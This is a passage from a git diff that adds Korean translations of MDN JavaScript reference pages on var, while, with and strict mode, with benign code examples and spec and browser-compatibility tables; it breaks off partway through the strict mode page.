+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/var/index.html b/files/ko/web/javascript/reference/statements/var/index.html
new file mode 100644
index 0000000000..4366c3ed73
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/var/index.html
@@ -0,0 +1,195 @@
+---
+title: var
+slug: Web/JavaScript/Reference/Statements/var
+tags:
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>var</strong></code>문은 변수를 선언하고, 선택적으로 초기화할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>varname1 [</em>= <em>value1 [</em>, <em>varname2 [</em>, <em>varname3 ... [</em>, <em>varnameN]]]]</em>;</pre>
+
+<dl>
+ <dt><code>varnameN</code></dt>
+ <dd>변수 이름. 어떤 유효한 식별자도 될 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>valueN</code></dt>
+ <dd>변수의 초기값. 어떤 유효한 표현도 될 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>어디에 선언이 되어있든 간에 변수들은 어떠한 코드가 실행되기 전에  처리가 됩니다. var로 선언된 변수의 범위는 현재 실행 문맥인데, 그 문맥은 둘러싼 함수, 혹은 함수의 외부에 전역으로 선언된 변수도 될 수 있습니다.</p>
+
+<p>선언된 변수들의 값 할당은 할당이 실행될 때 전역변수(이것은 전역 오브젝트의 프로퍼티가 됩니다)처럼 생성이 됩니다. 선언된 변수들과 선언되지 않은 변수들의 차이점은 다음과 같습니다:</p>
+
+<p>1. 선언된 변수들은 변수가 선언된 실행 콘텍스트(execution context) 안에서 만들어집니다. 선언되지 않은 변수들은 항상 전역변수 입니다.</p>
+
+<pre class="brush: js">function x() {
+ y = 1; // strict 모드에서는 ReferenceError를 출력합니다.
+ var z = 2;
+}
+
+x();
+
+console.log(y); // 로그에 "1" 출력합니다.
+console.log(z); // ReferenceError: z is not defined outside x를 출력합니다.
+</pre>
+
+<p>2. 선언된 변수들은 어떠한 코드가 실행되기 전에 만들어집니다. 선언되지 않은 변수들은 변수들을 할당하는 코드가 실행되기 전까지는 존재하지 않습니다.</p>
+
+<pre class="brush: js">console.log(a); // ReferenceError를 출력합니다.
+console.log('still going...'); // 결코 실행되지 않습니다.</pre>
+
+<pre class="brush: js">var a;
+console.log(a); // 브라우저에 따라 로그에 "undefined" 또는 "" 출력합니다.
+console.log('still going...'); // 로그에 "still going..." 출력합니다.</pre>
+
+<p>3. 선언된 변수들은 변수들의 실행 콘텍스트(execution context)의 프로퍼티를 변경되지 않습니다. 선언되지 않은 변수들은 변경 가능합니다. (e.g 삭제 될 수도 있습니다.)</p>
+
+<pre class="brush: js">var a = 1;
+b = 2;
+
+delete this.a; // strict 모드에서는 TypeError를 출력합니다. 그렇지 않으면 자동적으로 실패합니다.
+delete this.b;
+
+console.log(a, b); // ReferenceError를 출력합니다.
+// 'b' 프로퍼티는 삭제되었고, 어디에도 존재하지 않습니다.</pre>
+
+<p>이러한 세가지 다른점 때문에, 변수 선언 오류는 예기치않은 결과로 이어질 가능성이 높습니다.  그러므로 <strong>함수 또는 전역 범위인지 여부와 상관없이, 항상 변수를 선언 하는 것을 추천합니다.</strong> 그리고 ECMAScript 5 안에 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>, 선언되지 않은 변수에 할당하면 오류를 출력합니다.</p>
+
+<h3 id="var_호이스팅(hoisting)">var 호이스팅(hoisting)</h3>
+
+<p>변수 선언들 (그리고 일반적인 선언)은 어느 코드가 실행 되기 전에 처리하기 때문에, 코드 안에서 어디서든 변수 선언은  최상위에 선언한 것과 동등합니다. 이것은 변수가 선언되기 전에 사용 될 수 있다는 것을 의미합니다. 변수 선언이 함수 또는 전역 코드의 상단에 이동하는 것과 같은 행동을 "호이스팅(hoisting)"이라고 불립니다.</p>
+
+<pre class="brush: js">bla = 2
+var bla;
+// ...
+
+// 위 선언을 다음과 같이 암묵적으로 이해하면 됩니다:
+
+var bla;
+bla = 2;
+</pre>
+
+<p>이러한 이유로, 그들의 범위(전역 코드의 상단 그리고 함수 코드의 상단) 상단에 변수를 항상 선언하기를 권장합니다. 그러면 변수는 함수 범위 (지역)이 되며, 스코프 체인으로 해결될 것이 분명합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="두_변수들의_선언_및_초기화">두 변수들의 선언 및 초기화</h3>
+
+<pre class="brush: js">var a = 0, b = 0;
+</pre>
+
+<h3 id="단일_문자열_값으로_두_변수들_할당">단일 문자열 값으로 두 변수들 할당</h3>
+
+<pre class="brush: js">var a = "A";
+var b = a;
+
+// 다음과 같음:
+
+var a, b = a = "A";
+</pre>
+
+<p>순서에 유의:</p>
+
+<pre class="brush: js">var x = y, y = 'A';
+console.log(x + y); // undefinedA
+</pre>
+
+<p>여기, x와 y는 어떠한 코드 실행하기 전에 선언되었다, 할당은 후에 발생하였다. "<code>x = y</code>"가 실행될 때, <code>y<font face="Open Sans, Arial, sans-serif">는 존재하여 </font></code><code>ReferenceError를 출력하진 않고</code> 값은 '<code>undefined</code>' 입니다. 그래서, <code>x는</code> undefined 값이 할당 됩니다. 그리고나서, <code>y는 </code>'A' 값이 할당 됩니다. 결과적으로, 첫번째 줄 이후에, <code>x === undefined &amp;&amp; y === 'A'</code>, 이와 같은 결과가 됩니다.</p>
+
+<h3 id="다수의_변수들의_초기화">다수의 변수들의 초기화</h3>
+
+<pre class="brush: js">var x = 0;
+
+function f(){
+ var x = y = 1; // x는 지역변수로 선언됩니다. y는 아닙니다!
+}
+f();
+
+console.log(x, y); // 0, 1
+// x는 예상대로 전역이다
+// y leaked outside of the function, though! </pre>
+
+<h3 id="암묵적인_전역변수와_외부_함수_범위">암묵적인 전역변수와 외부 함수 범위</h3>
+
+<p>암묵적인 전역변수가 될 것으로 보이는 변수는 함수 범위 밖에서 변수들을 참조할 수 있다.</p>
+
+<pre class="brush: js">var x = 0; // x는 전역으로 선언되었고, 0으로 할당됩니다.
+
+console.log(typeof z); // undefined, z는 아직 존재하지 않습니다.
+
+function a() { // a 함수를 호출했을 때,
+ var y = 2; // y는 함수 a에서 지역변수로 선언되었으며, 2로 할당됩니다.
+
+ console.log(x, y); // 0 2
+
+ function b() { // b 함수를 호출하였을때,
+ x = 3; // 존재하는 전역 x값에 3을 할당, 새로운 전역 var 변수를 만들지 않습니다.
+ y = 4; // 존재하는 외부 y값에 4를 할당, 새로운 전역 var 변수를 만들지 않습니다.
+ z = 5; // 새로운 전역 z 변수를 생성하고 5를 할당 합니다.
+ } // (strict mode에서는 ReferenceError를 출력합니다.)
+
+ b(); // 호출되는 b는 전역 변수로 z를 생성합니다.
+ console.log(x, y, z); // 3 4 5
+}
+
+a(); // 호출되는 a는 또한 b를 호출합니다.
+console.log(x, z); // 3 5
+console.log(typeof y); // undefined y는 function a에서 지역 변수입니다.</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.2', 'var statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-variable-statement', 'variable statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.var")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/while/index.html b/files/ko/web/javascript/reference/statements/while/index.html
new file mode 100644
index 0000000000..5509404ed6
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/while/index.html
@@ -0,0 +1,142 @@
+---
+title: while
+slug: Web/JavaScript/Reference/Statements/while
+tags:
+ - 반복문
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Statements/while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>while문</strong>은 조건문이 참일 때 실행되는 반복문이다. 조건은 문장안이 실행되기 전에 참, 거짓을 판단한다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">while (<em>condition</em>)
+ <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>조건</code></dt>
+ <dd>반복이 시작되기 전에 조건문은 참,거짓을 판단받게 된다. 만약 조건문이 참이라면, while문 안의 문장들이 실행된다. 거짓이라면, 문장은 그냥 while 반복문 후로 넘어간다.</dd>
+ <dt><code>문장</code></dt>
+ <dd>조건문이 참일 때만 while문 속의 문장들이 실행된다. 반복문 속에 여러개의 문장을 사용하고 싶다면 중괄호 { } 를 통해 문장들을 하나로 묶어야 한다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 while문은 n이 3보다 작을 때까지 반복한다.</p>
+
+<pre class="brush:js">var n = 0;
+var x = 0;
+
+while (n &lt; 3) {
+ n++;
+ x += n;
+}</pre>
+
+<p>반복을 살펴보면, n을 x에 계속 더하게 된다. 그러므로 x와 n 변수는 다음의 값을 갖는다.</p>
+
+<ul>
+ <li>첫번째 반복; n=1 과 x=1</li>
+ <li>두번째 반복; n=2 과 x=3</li>
+ <li>세번째 반복; n=3 과 x=6</li>
+</ul>
+
+<p>세번째 반복후, n&lt;3 이라는 초건은 더 이상 참이아니가 되므로 반복은 종료된다</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-while-statement', 'while statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.6.2', 'while statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.6.2', 'while statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.6.1', 'while statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/with/index.html b/files/ko/web/javascript/reference/statements/with/index.html
new file mode 100644
index 0000000000..30940cc297
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/with/index.html
@@ -0,0 +1,127 @@
+---
+title: with
+slug: Web/JavaScript/Reference/Statements/with
+translation_of: Web/JavaScript/Reference/Statements/with
+---
+<div class="warning">Use of the <code>with</code> statement is not recommended, as it may be the source of confusing bugs and compatibility issues. See the "Ambiguity Contra" paragraph in the "Description" section below for details.</div>
+
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>with statement</strong> 는 명령문의 범위 체인을 확장합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">with (expression)
+ <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>명령문을 평가할 때 사용되는 범위 체인에 지정된 표현식을 추가합니다. 표현식을 중괄호로 감싸는 것은 필수입니다.</dd>
+ <dt><code>statement</code></dt>
+ <dd>모든 구문을 말합니다. 여러개의 명령문을 실행하려면 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block" title="JavaScript/Reference/Statements/block">블록</a>명령문 ({...})을 사용하여 해당 명령문을 그룹화 하세요.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>JavaScript는 규정되지 않은 이름을 포함하는 스크립트 또는 함수의 실행 컨텍스트와 연관된 범위 체인을 검색하여 규정되지 않은 이름을 찾습니다. 'with'문은 해당 개체를 평가하는 동안 이 개체를 해당 범위 체인의 머리글에 추가합니다. 본문에 사용된 규정되지 않은 이름이 범위 체인의 속성과 일치하는 경우 이름은 속성과 속성이 포함 된 개체에 바인딩 됩니다. 그렇지 않으면, {{jsxref("ReferenceError")}} 가 발생됩니다.</p>
+
+<div class="note"><code>with</code> 를 사용하는 것은 권장하지 않으며, ECMAScript 5 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode</a>에서는 금지되어 있습니다. 임시 변수에 액세스 하려는 속성이 있는 객체를 할당하는 것이 좋습니다.</div>
+
+<h3 id="Performance_pro_contra">Performance pro &amp; contra</h3>
+
+<p><strong>Pro:</strong> <code>with</code> 구문은 성능저하 없이 긴 객체 참조를 반복해야할 필요를 줄여서 파일 크기를 감소 시킬 수 있습니다. 'with'에 필요한 스코프 체인 변경은 연산 비용이 들지 않습니다. 'with'를 사용하면 반복되는 객체 참조를 파싱하는 인터프리터가 해소됩니다. 하지만 대게의 경우에 이 이점은 임시변수를 사용하여 원하는 객체에 대한 참조를 저장함으로써 얻을 수 있습니다.</p>
+
+<p><strong>Contra:</strong> The <code>with</code> statement forces the specified object to be searched first for all name lookups. Therefore all identifiers that aren't members of the specified object will be found more slowly in a 'with' block. Where performance is important, 'with' should only be used to encompass code blocks that access members of the specified object.</p>
+
+<h3 id="Ambiguity_contra">Ambiguity contra</h3>
+
+<p><strong>Contra:</strong> The <code>with</code> statement makes it hard for a human reader or JavaScript compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object. So given this example:</p>
+
+<pre class="brush: js">function f(x, o) {
+ with (o) {
+ console.log(x);
+ }
+}</pre>
+
+<p>Only when <code>f</code> is called is <code>x</code> either found or not, and if found, either in <code>o</code> or (if no such property exists) in <code>f</code>'s activation object, where <code>x</code> names the first formal argument. If you forget to define <code>x</code> in the object you pass as the second argument, or if there's some similar bug or confusion, you won't get an error -- just unexpected results.</p>
+
+<p><strong>Contra: </strong>Code using <code>with</code> may not be forward compatible, especially when used with something other than a plain object. Consider this example:</p>
+
+<div>
+<pre class="brush:js">function f(foo, values) {
+ with (foo) {
+ console.log(values);
+ }
+}
+</pre>
+
+<p>If you call <code>f([1,2,3], obj)</code> in an ECMAScript 5 environment, then the <code>values</code> reference inside the <code>with</code> statement will resolve to <code>obj</code>. However, ECMAScript 6 introduces a <code>values</code> property on {{jsxref("Array.prototype")}} (so that it will be available on every array). So, in a JavaScript environment that supports ECMAScript 6, the <code>values</code> reference inside the <code>with</code> statement could resolve to <code>[1,2,3].values</code>. However, in this particular example, {{jsxref("Array.prototype")}} has been defined with <code>values</code> in its {{jsxref("Symbol.unscopables")}} object. If it were not, one can see how this would be a difficult issue to debug.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_with">Using <code>with</code></h3>
+
+<p>The following <code>with</code> statement specifies that the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math" title="JavaScript/Reference/Global_Objects/Math"><code>Math</code></a> object is the default object. The statements following the <code>with</code> statement refer to the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI" title="JavaScript/Reference/Global_Objects/Math/PI"><code>PI</code></a> property and the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos" title="JavaScript/Reference/Global_Objects/Math/cos"><code>cos</code></a> and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="JavaScript/Reference/Global_Objects/Math/sin"><code>sin</code></a> methods, without specifying an object. JavaScript assumes the <code>Math</code> object for these references.</p>
+
+<pre class="brush:js">var a, x, y;
+var r = 10;
+
+with (Math) {
+ a = PI * r * r;
+ x = r * cos(PI);
+ y = r * sin(PI / 2);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-with-statement', 'with statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-with-statement', 'with statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.10', 'with statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Now forbidden in strict mode.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.10', 'with statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.10', 'with statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.with")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+ <li>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/strict_mode/index.html b/files/ko/web/javascript/reference/strict_mode/index.html
new file mode 100644
index 0000000000..50cac47a52
--- /dev/null
+++ b/files/ko/web/javascript/reference/strict_mode/index.html
@@ -0,0 +1,383 @@
+---
+title: Strict mode
+slug: Web/JavaScript/Reference/Strict_mode
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - 엄격모드
+translation_of: Web/JavaScript/Reference/Strict_mode
+---
+<div>{{JsSidebar("More")}}</div>
+
+<div class="callout-box">가끔 엄격하지 않은 기본값을 "<strong><a href="https://developer.mozilla.org/ko/docs/Glossary/Sloppy_mode">느슨한 모드</a></strong>(sloppy mode)"라고 부르기도 합니다. 공식적인 용어는 아니지만 혹시 모르니 알아두세요.</div>
+
+<div><a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> 에서 소개된 JavaScript 의 엄격모드는 JavaScript 의 제한된 버전을 선택하여 암묵적인 "<strong><a href="https://developer.mozilla.org/ko/docs/Glossary/Sloppy_mode">느슨한 모드</a></strong>(sloppy mode)" 를 해제하기 위한 방법입니다. 엄격 모드는 단지 부분적인 것이 아니며, 이것은 <em>고의적으로 </em>일반 코드와 다른 시멘틱을 가지고 있습니다. 엄격모드를 지원하지 않는 브라우저에서는 엄격 모드의 코드가 다른 방식으로 동작할 것입니다, 그 때문에 엄격 모드가 적절하게 적용된 피쳐 테스트 없이 엄격 모드에 의존하면 안됩니다. 엄격 모드의 코드와 비-엄격 모드의 코드는 공존할 수 있으며, 때문에 스크립트의 엄격 모드를 취사 선택하는 것이 점진적으로 가능하게 되었습니다.</div>
+
+<div></div>
+
+<p>엄격 모드는 평범한 JavaScript 시멘틱스에 몇가지 변경이 일어나게 합니다.</p>
+
+<ol>
+ <li>기존에는 조용히 무시되던 에러들을 throwing합니다.</li>
+ <li>JavaScript 엔진의 최적화 작업을 어렵게 만드는 실수들을 바로잡습니다. 가끔씩 엄격 모드의 코드는 비-엄격 모드의 동일한 코드보다 더 빨리 작동하도록 만들어집니다.</li>
+ <li>엄격 모드는 ECMAScript의 차기 버전들에서 정의 될 문법을 금지합니다.</li>
+</ol>
+
+<p>코드를 JavaScript의 변형이 제한된 환경에서 동작하도록 하고 싶다면, 엄격 모드로의 변환(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">transitioning to strict mode</a>)을 참고하세요.</p>
+
+<h2 id="엄격모드_적용하기">엄격모드 적용하기</h2>
+
+<p>엄격모드는 <em>전체 스크립트</em> 또는 <em>부분 함수</em>에 적용가능합니다. 단, <code>{}</code> 괄호로 묶여진 블럭문에는 적용되지 않습니다. 컨텍스트와 같은곳에 적용을 시도하면 동작하지 않습니다. <code>eval</code> 코드, <code>Function</code> 코드, 이벤트 핸들러 속성, {{domxref("WindowTimers.setTimeout()")}} 과 연관된 함수들에 전달된 문자열이 전체 스크립트이며 여기에서 엄격모드가 예상대로 동작합니다. </p>
+
+<h3 id="스크립트_엄격_모드">스크립트 엄격 모드</h3>
+
+<p>엄격모드를 전체 스크립트에 적용하기 위해, 정확한 구문 <code>"use strict";</code>(또는 <code>'use strict';</code>) 을 다른 구문 작성 전에 삽입합니다.</p>
+
+<pre class="brush: js notranslate">// 전체 스크립트 엄격 모드 구문
+'use strict';
+var v = "Hi! I'm a strict mode script!";
+</pre>
+
+<p><span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>이 구문은 이미 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=627531">유명한 웹사이트</a>에서 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">문제를 일으킨 전적</a>이 있습니다. </span>상충되지 않는 스크립트들 끼리 맹목적인 연결이 불가능하기 때문입니다. 엄격 모드의 스크립트와 비-엄격 모드의 스크립트의 연결은 심사숙고 하시기를 바랍니다. 이렇게 되면 전체 연결은 엄격으로 보입니다! 엄격 모드에 다른 엄격모드 들을 결합하는 것은 괜찮습니다. 그리고, 비-엄격 스크립트 사이의 결합도 괜찮습니다. 분명한건, 스크립트를 결합하는 것이 절대 이상적인 것이 아니라는 것이지만, 그래야 한다면 함수를 기준으로 엄격모드 사용을 고려하시기 바랍니다.</p>
+
+<p>또한 함수 내부의 전체 스크립트 내용에 접근할 수 있으며, 엄격모드를 사용하는 외부 함수를 가질 수 있습니다. 이는 결합 문제를 없애주기도 하지만, 이것이 스코프 바깥에 위치한 어떤 전역 변수든 확실하게 밖으로 추출할 수 있음을 의미합니다 . </p>
+
+<h3 id="함수에_strict_mode_적용">함수에 strict mode 적용</h3>
+
+<p>마찬가지로, 함수에 strict mode를 적용하기 위해, 함수 본문 처음에 다음의 구문을 넣습니다. <code>"use strict";</code> (또는 <code>'use strict';</code>).</p>
+
+<pre class="brush: js notranslate">function strict() {
+ // 함수-레벨 strict mode 문법
+ 'use strict';
+ function nested() { return "And so am I!"; }
+ return "Hi! I'm a strict mode function! " + nested();
+}
+function notStrict() { return "I'm not strict."; }
+</pre>
+
+<h3 id="모듈에_strict_mode_적용">모듈에 strict mode 적용</h3>
+
+<p>ECMAScript 2015 는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export">JavaScript 모듈</a>을 소개했습니다. 따라서, 이는 엄격 모드를 적용할 수 있는 3번 째 방법입니다. JavaScript 모듈의 전체 컨텐츠는 엄격 모드 시작을 위한 구문 없이도 자동으로 엄격모드입니다.</p>
+
+<pre class="notranslate"><code>function strict() {
+ // 모듈이기때문에 기본적으로 엄격합니다
+}
+export default strict;</code>
+</pre>
+
+<h2 id="엄격한_모드_변경">엄격한 모드 변경</h2>
+
+<p>엄격한 모드는 구문과 런타임 동작을 모두 변경합니다.<br>
+ 일반적으로 이러한 유형의 변화가 발생합니다: 변환 실수를 오류로 해석하거나(문법 오류 또는 런타임에 오류 발생), 특정 이름의 특정 용도에 대한 특정 변수를 계산하는 방법을 단순화하며,  <code>eval</code> 과 <code>arguments</code> 를 단순화하고,"안전한 "자바 스크립트를 작성하도록 돕고, 미래 ECMAScript의 진화에 대비합니다.</p>
+
+<h3 id="실수를_에러로_바꾸는_것">실수를 에러로 바꾸는 것</h3>
+
+<p>엄격한 모드는 일부 이전에 허용되었던 실수를 오류로 바꿔 놓습니다. 자바 스크립트는 초보 개발자에게 쉬운 것이 되도록 설계되었으며, 때로는 오류를 일으킬만한  동작을 에러없이 시행합니다. 때때로 이것은 즉각적인 문제를 해결하지만, 때때로 이것은 더 심각한 문제를 만들어 냅니다. 엄격한 모드는 이러한 실수를 <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>오류로 처리해서</span> 그것을 발견하고 즉시 고칠 수 있도록 합니다.</p>
+
+<p>첫째로, 엄격모드는 실수로 글로벌 변수를 생성하는 것을 불가능하게 만듭니다. 일반적인 JavaScript에서 변수를 잘못 입력하면 전역 객체에 대한 새 속성이 만들어지고 그대로 "동작" (미래의 오류가 발생할 수 있음: modern 자바 스크립트처럼) 합니다. 전역 변수를 생성하는 할당은 엄격 모드에선 오류를 발생시킵니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+ // 전역 변수 mistypedVariable 이 존재한다고 가정
+mistypedVaraible = 17; // 변수의 오타때문에 이 라인에서 ReferenceError 를 발생시킴
+</pre>
+
+<p>둘째로, 엄격모드는 예외를 발생시키는 실패를 조용히 넘어가는 대신 작업을 만듭니다. 예를 들어, <code>NaN</code> 은 쓸 수 없는 전역 변수입니다. <code>NaN</code> 에 할당하는 일반적인 코드는 아무 것도 하지 않습니다. 개발자도 아무런 실패 피드백을 받지 않습니다. 엄격 모드에서 <code>NaN</code> 에 할당하는 것은 예외를 발생시킵니다. 일반 코드에서 조용히 넘어가는 모든 실패에 대해 (쓸 수 없는 전역 또는 프로퍼티에 할당, getter-only 프로퍼티에 할당, <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="en-US/JavaScript/Reference/Global Objects/Object/preventExtensions">확장 불가</a> 객체에 새 프로퍼티 할당) 엄격 모드에서는 예외를 발생시킵니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+
+// 쓸 수 없는 프로퍼티에 할당
+var undefined = 5; // TypeError 발생
+var Infinity = 5; // TypeError 발생
+
+// 쓸 수 없는 프로퍼티에 할당
+var obj1 = {};
+Object.defineProperty(obj1, "x", { value: 42, writable: false });
+obj1.x = 9; // TypeError 발생
+
+// getter-only 프로퍼티에 할당
+var obj2 = { get x() { return 17; } };
+obj2.x = 5; // TypeError 발생
+
+// 확장 불가 객체에 새 프로퍼티 할당
+var fixed = {};
+Object.preventExtensions(fixed);
+fixed.newProp = "ohai"; // TypeError 발생
+</pre>
+
+<p>셋째로, 엄격 모드는 삭제할 수 없는 프로퍼티를 삭제하려할 때 예외를 발생시킵니다(시도가 어떤 효과도 없을 때).</p>
+
+<pre class="brush: js notranslate">"use strict";
+delete Object.prototype; // TypeError 발생
+</pre>
+
+<p>넷째로, Gecko 34 이전의 엄격모드는 객체 리터럴의 모든 프로퍼티의 이름이 유니크해도록 요구합니다. 일반 코드는 프로퍼티의 값이 나중에 정해진 프로퍼티 이름으로 중복할 것입니다. 하지만 마지막 인스턴스 만 변경했기 때문에 코드를 수정하여 마지막 인스턴스를 변경하는 것 이외의 속성 값을 변경하면 복제는 버그의 벡터가됩니다. 엄격모드에서는 프로퍼티 이름을 중복하는 것은 구문 에러입니다.</p>
+
+<div class="note">
